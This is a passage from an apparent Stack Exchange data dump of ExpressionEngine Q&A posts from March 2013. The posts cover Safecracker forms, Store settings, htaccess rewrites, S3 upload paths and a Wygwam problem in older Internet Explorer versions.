Template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;wrappers/_page&quot;}&#xA;&#xA;{exp:stash:set name=&quot;form&quot;}&#xA;&#xA;    {!-- this is normally on one line --}&#xA;    {exp:safecracker channel=&quot;someform&quot; &#xA;    return=&quot;/thanks/&quot; &#xA;    id=&quot;form-order&quot; &#xA;    error_handling=&quot;inline&quot; &#xA;    include_jquery=&quot;no&quot; &#xA;    datepicker=&quot;no&quot; &#xA;    safecracker_head=&quot;no&quot;}   &#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;All my form fields go here&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;They is happy form fields&amp;lt;/div&amp;gt;&#xA;    {/exp:safecracker} &#xA;{/exp:stash:set}&#xA;&#xA;&#xA;{!-- the main_content var which has a &quot;get&quot; in the wrapper template --}&#xA;{exp:stash:set name=&quot;main_content&quot; }&#xA;&amp;lt;div id=&quot;secondary&quot; class=&quot;section-secondary section&quot;&amp;gt;&#xA;    &amp;lt;form class=&quot;form-horizontal&quot;&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Request Form&amp;lt;/legend&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;form-groups-container&quot;&amp;gt;         &#xA;                {exp:stash:get name=&quot;form&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-- UPDATE --&lt;/strong&gt;&lt;br&gt;&#xA;When I comment-out the versioning-stuff in Safecracker_lib.php, the form submits to a blank page, no errors whatsoever. And all the form vars en values are in the URL, ie;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://dev.site.nl/contact/form/?ACT=6&amp;amp;RET=http%3A%2F%2Fdev.site.nl%2Fcontact%2Fform&amp;amp;URI=contact%2Fform&amp;amp;XID=041d37ecaac08903e79d36a4bc082d331df5d74b&amp;amp;return_url=%2Fcontact%2F&amp;amp;author_id=2&amp;amp;channel_id=4&amp;amp;entry_id=0&amp;amp;site_id=1&amp;amp;return=%2Fcontact%2F&amp;amp;dynamic_title=UGFra2V0IGFhbnZyYWFnIFtiZXN0ZWxmb3JtLW5hYW1d&amp;amp;allow_comments=y&amp;amp;title=&amp;amp;formfield1=Basis&amp;amp;bestelform-interesse=&amp;amp;formfield2=&amp;amp;formfield3=&amp;amp;formfield4=&amp;amp;formfield5=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--UPDATE--&lt;/strong&gt;&lt;br&gt;&#xA;Have tried several things with {stash:nocache} and all kinds of tags (process=&quot;end&quot;, parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;) but obviously that's just random testing stuff out..&lt;/p&gt;&#xA;" OwnerUserId="1233" LastEditorUserId="1233" LastEditDate="2013-03-26T13:58:57.880" LastActivityDate="2013-03-26T13:58:57.880" Title="Stash + Safecracker == headers already sent error?" Tags="|safecracker|stash|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7720" PostTypeId="2" ParentId="7707" CreationDate="2013-03-26T10:19:43.537" Score="2" Body="&lt;p&gt;Store doesn't support ExpressionEngine 2.1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to upgrade to at least ExpressionEngine 2.2.0 - though preferably the most recent version. It's a good idea to keep software on an e-commerce website (where security is critical) up to date.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-26T10:19:43.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7723" PostTypeId="1" AcceptedAnswerId="8843" CreationDate="2013-03-26T12:33:10.217" Score="0" ViewCount="58" Body="&lt;p&gt;I am trying to install a local copy of my database on Mamp. But I am getting the following error in the exp_assets_folders table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#1062 - Duplicate entry 'ee-0-' for key 'unq_source_type__source_id__full_path'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw another post with a similar problem but the answer says this was sorted in version 2.0.2. &#xA;I am using Assets version 2.0.5. I am not using master config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="95" LastEditorUserId="95" LastEditDate="2013-03-26T13:11:42.850" LastActivityDate="2013-03-29T16:30:17.427" Title="Assets 2.0.5 problem when transferring database" Tags="|database|assets|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7724" PostTypeId="2" ParentId="7718" CreationDate="2013-03-26T12:35:35.983" Score="1" Body="&lt;p&gt;Also, are you able to synchronise upload directories without any problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error can also be related to image manipulations, check permissions on the _preview folder.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-03-27T08:17:08.933" LastActivityDate="2013-03-27T08:17:08.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7725" PostTypeId="1" AcceptedAnswerId="7728" CreationDate="2013-03-26T13:47:40.800" Score="0" ViewCount="33" Body="&lt;p&gt;So I have this website I put together. Everything works fine, except 1 tiny weird issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever the URL does &lt;strong&gt;NOT&lt;/strong&gt; have /index.php/ in it. All the Store buttons just refresh the page and do not work properly. Add to cart fails, checkout fails, any Store generated button just plain fails and only refreshes the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of this issue? Or how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-03-26T14:18:45.633" Title="Exp:resso Store issue with index.php" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7727" PostTypeId="1" CreationDate="2013-03-26T14:14:27.433" Score="1" ViewCount="66" Body="&lt;p&gt;I have a strange issue with URLs double encoding. So for instance if I have a URL with spaces, instead of the site navigating to &quot;url%20name&quot; it instead navigates to &quot;url%2520name.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at how to rewrite .htaccess to fix this but I feel like the best practice would be to strip the spaces out of the data coming from the safecracker form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;label for=&quot;story_author&quot;&amp;gt;Author*&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;    {field:story_author}&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could I add to that to strip out the spaces in the output?&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-03-26T18:56:45.713" Title="How do I strip spaces from a form field?" Tags="|safecracker|forms|url|character-encoding|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7728" PostTypeId="2" ParentId="7725" CreationDate="2013-03-26T14:18:45.633" Score="1" Body="&lt;p&gt;Ah, i figured it out. This website was upgraded from a ZENcart installation. I never updated the .htaccess file. I just replaced it with ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it seems to have solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-03-26T14:18:45.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7732" PostTypeId="1" AcceptedAnswerId="7756" CreationDate="2013-03-26T15:18:57.523" Score="1" ViewCount="204" Body="&lt;p&gt;Is there a way to set the default language to Dutch on the front-end of Store?&#xA;I can't see it in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm getting partial translated Errors when leaving required fields blank. Like: &quot;The Naam field is required&quot; Where &quot;Naam&quot; is the dutch translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Store looking on OS or browser lang settings? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I can set it so it's always Dutch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx,&#xA;Martijn&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-03-26T22:36:45.193" Title="Exp-resso Store how to set language" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7733" PostTypeId="1" AcceptedAnswerId="8840" CreationDate="2013-03-26T15:52:01.280" Score="1" ViewCount="182" Body="&lt;p&gt;Does anyone have CometChat on their EEsite? If so, does it work as promised, and installation is as easy as promised? Am i wrong but do you need to add global variable in every single template that you have build in ExpressionEngine or that chat toolbar wont appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And most important, i have already some and more javascript on my site, so might that be a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And last but not least, does this software work thru Forum Module when it is run via regular template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;FinPete&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-29T11:18:54.640" Title="Cometchat in use?" Tags="|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7734" PostTypeId="2" ParentId="7733" CreationDate="2013-03-26T16:29:35.330" Score="0" Body="&lt;p&gt;I've used CometChat, but not an EE site.  Installation is fairly straightforward, and yes, it was a snippet of code in the footer of the site (this was on MyBB actually).  If you have your Footer in a snippet, embed or LV, this should be a breeze to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CometChat is fully separate from EE so isn't impacted by EE's template parser.  It shouldn't matter how you run the Forum, so long as you have that snippet.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-26T16:29:35.330" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7735" PostTypeId="2" ParentId="7651" CreationDate="2013-03-26T16:46:07.560" Score="1" Body="&lt;p&gt;To follow up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I had super admin access, permissions/access was limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lessons learned - 1) be aware of sites with multiple super admin groups, and, 2) develop your sites in such a way that a new dev can quickly get up to speed with your implementation.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2013-03-26T16:46:07.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7736" PostTypeId="1" CreationDate="2013-03-26T16:59:34.543" Score="2" ViewCount="207" Body="&lt;p&gt;I was wondering if anyone had already setup some inline coupon validation script that I could use on my order pages - something I could hook up with AJAX upon the user filling out the coupon form where it then queries the database and tells me if this coupon is valid and not used. If this is already available, that would be great! If not, just let me know and I suppose I'll create one myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1244" LastActivityDate="2013-11-21T17:23:38.593" Title="Inline coupon validation" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7737" PostTypeId="1" CreationDate="2013-03-26T17:17:24.730" Score="1" ViewCount="113" Body="&lt;p&gt;I'm trying to use Low Events in conjunction with a Playa primary tag pair to exclude expired entries from showing up on the site. This is the code I think should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot; show_expired=&quot;no&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination|trackbacks&quot; rdf=&quot;off&quot;}&#xA;    {exp:low_events:entry_ids channel=&quot;events&quot; show_passed=&quot;no&quot;}{low_events:entry_ids}&#xA;      {cf-home-events show_future_entries=&quot;yes&quot; limit=&quot;3&quot; child_ids=&quot;{low_events:entry_ids}&quot;}&#xA;        {title}&#xA;      {/cf-home-events}&#xA;    {/exp:low_events:entry_ids}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The primary issue is the Playa primary tag pair is ignoring the show_passed=&quot;no&quot; parameter from the low_events tag. I think the issue has something to do with the Playa tag's &quot;child_ids&quot; parameter because it is not parsing the correct info. For example, the &quot;{low_events:entry_ids}&quot; field outside of the Playa tags excludes passed events. But the &quot;child_ids=&quot;{low_events:entry_ids}&quot;&quot; ignores that completely. I tried manually inputting the entry ids into the &quot;child_ids&quot; parameter, but it ignored that too, outputting the same values as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to why Playa would be ignoring the Low Events parameter? Or why it would be ignoring the &quot;child_ids&quot; tag parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: Playa 4.3.3 running on Expression Engine 2.5.3. Low Events is version 1.1.1.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2013-03-26T18:19:14.413" Title="Playa tag ignoring child_ids parameter and Low Events parameter" Tags="|playa|low-variables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7738" PostTypeId="2" ParentId="7534" CreationDate="2013-03-26T17:45:12.287" Score="0" Body="&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_sidebar_adblock_image&quot;}&#xA;&amp;lt;li class=&quot;widget&quot;&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url}&quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="679" LastActivityDate="2013-03-26T17:45:12.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7739" PostTypeId="1" CreationDate="2013-03-26T17:51:28.227" Score="2" ViewCount="184" Body="&lt;p&gt;&lt;strong&gt;Does anybody know of a method to override/alter EE's native avatar uploading functionality (without hacking core) to upload to S3?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a client site running on AWS' Elastic Beanstalk service, utilizing RDS for the DB storage, S3 and Cloudfront for all of the site's image content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is wanting to launch forums as a new feature on the site, and while our existing infrastructure is well-suited for this, my main concern is user-uploaded images, like avatars or even custom image uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like to find some way to store these within an S3 bucket, since our EC2 instances only contain the site code, and anything uploaded to one server in the cluster won't be visible to the others, and will disappear when that instance gets terminated in the future for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Side note: I've heard it suggested that I instead create an independent EBS volume, and update my default AMI to mount that volume at startup so that all my instances will have access to the file store. I'd prefer to go the S3 route instead for performance reasons.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2017-02-17T03:19:40.980" Title="Is it Possible to Host Forum Avatars and Uploads on S3" Tags="|ee2|forum|s3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7740" PostTypeId="2" ParentId="7732" CreationDate="2013-03-26T18:01:51.603" Score="0" Body="&lt;p&gt;Exp-resso store uses the same default language Expression Engine does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check: &lt;a href=&quot;https://github.com/expressodev/store-language&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/store-language&lt;/a&gt; for available languages.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-03-26T18:01:51.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7741" PostTypeId="2" ParentId="7739" CreationDate="2013-03-26T18:13:35.017" Score="1" Body="&lt;p&gt;You can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#overriding-upload-paths-and-urls-using-configuration-variables&quot; rel=&quot;nofollow&quot;&gt;set file upload paths and preferences in your EE config.php file&lt;/a&gt; which &lt;em&gt;should&lt;/em&gt; support a remote location like S3. You also have control over paths for avatars and user uploads here too. I set them by standard in my config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Member paths and URLs&#xA;$config['avatar_path']                  = $base_path . &quot;/images/avatars/&quot;;&#xA;$config['avatar_url']                   = $base_url . &quot;/images/avatars/&quot;;&#xA;$config['photo_path']                   = $base_path . &quot;/images/member_photos/&quot;;&#xA;$config['photo_url']                    = $base_url . &quot;/images/member_photos/&quot;;&#xA;$config['sig_img_path']                 = $base_path . &quot;/images/signature_attachments/&quot;;&#xA;$config['sig_img_url']                  = $base_url . &quot;/images/signature_attachments/&quot;;&#xA;$config['prv_msg_upload_path']          = $base_path . &quot;/images/pm_attachments/&quot;;&#xA;&#xA;// Image paths and URLs&#xA;$config['captcha_path']                 = $base_path . &quot;/images/captchas/&quot;;&#xA;$config['captcha_url']                  = $base_url . &quot;/images/captchas/&quot;;&#xA;$config['emoticon_path']                = $base_url . &quot;/images/smileys/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see any reason why you couldn't set a remote location to your S3 drive.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-26T18:13:35.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7742" PostTypeId="2" ParentId="7737" CreationDate="2013-03-26T18:19:14.413" Score="1" Body="&lt;p&gt;Have you tried substituting &lt;code&gt;show_passed=&quot;no&quot;&lt;/code&gt; with &lt;code&gt;show_expired=&quot;no&quot;&lt;/code&gt; in your Low Events tag? This will apply to the &lt;em&gt;entry's&lt;/em&gt; expiration date and not the show end event.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-26T18:19:14.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7743" PostTypeId="2" ParentId="7736" CreationDate="2013-03-26T18:34:15.260" Score="2" Body="&lt;p&gt;Store handles validation of the coupon code with it's {promo_code} tag by default. If you wanted to throw in a little AJAX that should be fairly straight forward although not something that can come pre-made as such as each form will be different. If you're using jQuery then I'd recommend &lt;a href=&quot;http://www.malsup.com/jquery/form/#getting-started&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; and then just bind it to your form and promo filed to capture the response provided by Store on coupon validation. Then output that to the page. The plugin comes with plenty of useful examples with AJAX calls included and it should as close to a drop-in as possible once you've changed your DOM selectors to match your form and field.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-26T18:34:15.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7744" PostTypeId="2" ParentId="7697" CreationDate="2013-03-26T18:42:18.453" Score="0" Body="&lt;p&gt;The search: parameter mimics the EE search parameter.  That means it only searches Text Input, Textarea, and Drop-down fields ([search: parameter])&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see here that you're trying to search on a date type column.  It sounds like that may be the core problem.  If you run a few of these as plain tests against one of the supported fields, do you get more expected results?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-26T18:42:18.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7745" PostTypeId="2" ParentId="7727" CreationDate="2013-03-26T18:56:45.713" Score="1" Body="&lt;p&gt;You could either turn on PHP in your templates and use &lt;a href=&quot;http://php.net/manual/en/function.trim.php&quot; rel=&quot;nofollow&quot;&gt;regular PHP&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;trim({field:story_author})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could use a small plugin and keep PHP out of your templates. TextTrimmer will strip out whitespace and is just $3. Either solution should work depending on which you feel more comfortable with.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-26T18:56:45.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7746" PostTypeId="1" CreationDate="2013-03-26T19:00:58.167" Score="2" ViewCount="104" Body="&lt;p&gt;Following 'best practice' of putting the EE system directory outside of the web root I have found that I now have a problem with password reset links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the reset url sent in the emails when a user forgets their password is incorrect. All other aspects seem, so far, to be working OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, my system is located at  ../mysystem and specified as such in the config. To access the control panel I would use the URL &lt;a href=&quot;http://mysite.com/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/&lt;/a&gt;&lt;strong&gt;mysystem.php&lt;/strong&gt; which works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the link sent in password reset emails is, for example, &lt;a href=&quot;http://mysite.com/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/&lt;/a&gt;&lt;strong&gt;mysystem&lt;/strong&gt;/index.php?D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;id=ABC123HASH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there somewhere I can configure this reset url?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-03-26T21:56:06.747" Title="Issues when putting system outside web root" Tags="|security|system|filesystem|forgot-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7747" PostTypeId="1" AcceptedAnswerId="8838" CreationDate="2013-03-26T19:03:14.903" Score="2" ViewCount="618" Body="&lt;p&gt;Nuts nuts...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.example.com works, but when accessing www.example.com/index.php/template_group, or any other pages, EE gives No input file specified-message and nothing therefore works.&#xA;Version 2.5.3 with Channel Images, likEE, Wygwam...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but what makes this very very odd, is that the site worked just fine 3 months ago when i was working on it. Now its dead end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be the issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Was a serverside issue, host made updates on server, so therefore stopped from working. I got email from them and check all later today, but did try fastlink to one i remember, and it worked as before - so i think they fixed their own hassle :)&lt;/p&gt;&#xA;" OwnerUserId="1242" LastEditorUserId="1242" LastEditDate="2013-03-27T16:26:33.413" LastActivityDate="2014-07-15T08:57:23.203" Title="No input file specified" Tags="|ee2|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7748" PostTypeId="2" ParentId="7746" CreationDate="2013-03-26T19:24:59.583" Score="1" Body="&lt;p&gt;The {reset_url} will be looking towards the site's index page as set in Admin &gt; General Configuration &gt; name of your site's index page. Is this set?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-26T19:24:59.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7749" PostTypeId="1" CreationDate="2013-03-26T20:06:01.873" Score="2" ViewCount="143" Body="&lt;p&gt;I'm having an issue where customers can order items that are out of stock. Looking for a solution in the Store docs and here on EESE i've come across &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#dynamic_product_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic Product Variables&lt;/a&gt;. Unfortunately, I can't get them working consistently. The issue appears to be getting the 'Limit Stock' checkbox to stay consistently checked in the corresponding product's entry in EE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sIBQo.png&quot; alt=&quot;EE entry view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anytime i check that box, then save the entry, and go directly to the front-end, the dynamic variable works as it should. If the given product combination (color + size) is out of stock, it shows the dynamic variable (store_product_out_of_stock). If i go to any other entry in EE, then check that box for that product, then go back to view the first product on the front end, the dynamic variable shows no matter what. Going back into the first entry in EE shows that the box has been un-checked! Is there some-sort of persistance issue with the checkbox? Is this even important or merely a coincidence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE 2.5.3 and Store 1.6.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="280" LastEditorUserId="280" LastEditDate="2013-03-26T23:27:27.527" LastActivityDate="2013-03-27T16:32:05.793" Title="Exp-resso Store &amp; store_product_out_of_stock Dynamic Variable" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7750" PostTypeId="1" CreationDate="2013-03-26T20:16:09.930" Score="1" ViewCount="110" Body="&lt;p&gt;I am trying to use a SELECT statement to call in some information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODE:&#xA;$qry = $this-&gt;EE-&gt;db-&gt;query('SELECT col_id_1, col_id_2, col_id_3 FROM exp_matrix_data');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error when I try to use the data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;  Severity: Warning&#xA;  Message: mysql_num_rows() expects parameter 1 to be resource, string given&#xA;  Filename: libraries/Functions.php(680) : eval()'d code&#xA;  Line Number: 1552&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... my question is, Can I not use the 'SELECT Statement' like this in EE ?&lt;/p&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-03-26T22:19:26.447" Title="Can I use a 'Select' Statement in my EE 2.5 template" Tags="|ee2|query|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7752" PostTypeId="2" ParentId="7747" CreationDate="2013-03-26T21:09:43.500" Score="2" Body="&lt;p&gt;Pete, have you tried adding a question mark to your URLs? ie: example.com/index.php?/template_group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try that, if it works, you need to add the question mark to your index.php or set Force Query Strings to &quot;Yes&quot; in Admin &gt; Output and Debugging.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-26T21:09:43.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7753" PostTypeId="1" AcceptedAnswerId="8927" CreationDate="2013-03-26T21:48:23.430" Score="1" ViewCount="375" Body="&lt;p&gt;We are having an issue where WYGWAM fields are disappearing on initialization of the js in the Edit Entry screen in the control panel. This is only for IE8 and IE9; other browsers work fine. This behavior is consistent whether we let the fields initialize on load or if we initialize on focus (in which case, the field's content loads and is visible, but disappears on click). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel contains a series of Matrix fields, including WYGWAM, Assets, and Playa fields. We are running an install of EE2.5.5, Matrix 2.5.3, Playa 4.3.3, and Assets 2.0.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the browser console, we are seeing the following two errors: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not enough storage to complete this operation. ckeditor.js, Line 13&lt;/li&gt;&#xA;&lt;li&gt;Object doesn't support this property or method. compressed.js; Code: 0; Line 39. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note, turning off nsm_morphine_theme where the compressed.js code resides eliminates the second js error, but does not resolve the issue above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot per Lisa Wess' request below. It is the Text field which has the Wygwam field type; the other empty fields simply do not have data entered in them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mKInx.png&quot; alt=&quot;Missing Wygwam&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------------------------- UPDATE -------------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two issues, both of which &lt;em&gt;appear&lt;/em&gt; to be related to upgrading to Assets 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, on upgrading we have the same issue as this:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5593/clicking-on-folders-in-the-assets-2-file-manager-does-not-work-on-ie8&quot;&gt;Clicking on folders in the Assets 2 file manager does not work on IE8&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying the hack Kevin Lees suggests takes care of the issue where the Assets 2 dialog box will not allow the user to select items from the popup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second, original issue -- that the Wygwam fields are not instantiating -- appears to be related to the control panel page making over 31 CSS calls; IE8/9 have a hard limit of 31 CSS calls, ignoring any calls above that number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this behavior is related to a change in Assets 2, which introduced a number of small, separate style calls in the head. No bid deal, except IE8/9 is counting each against the total. Therefore a page with multiple matrix and assets fields pushes past the 31-call limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of downgrading to Assets 1, the only fix we've found is to force the user to use Compatibility mode, which doesn't impose the 31-call limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be curious to hear if anyone else is having this problem or has found a better, long-term solution. 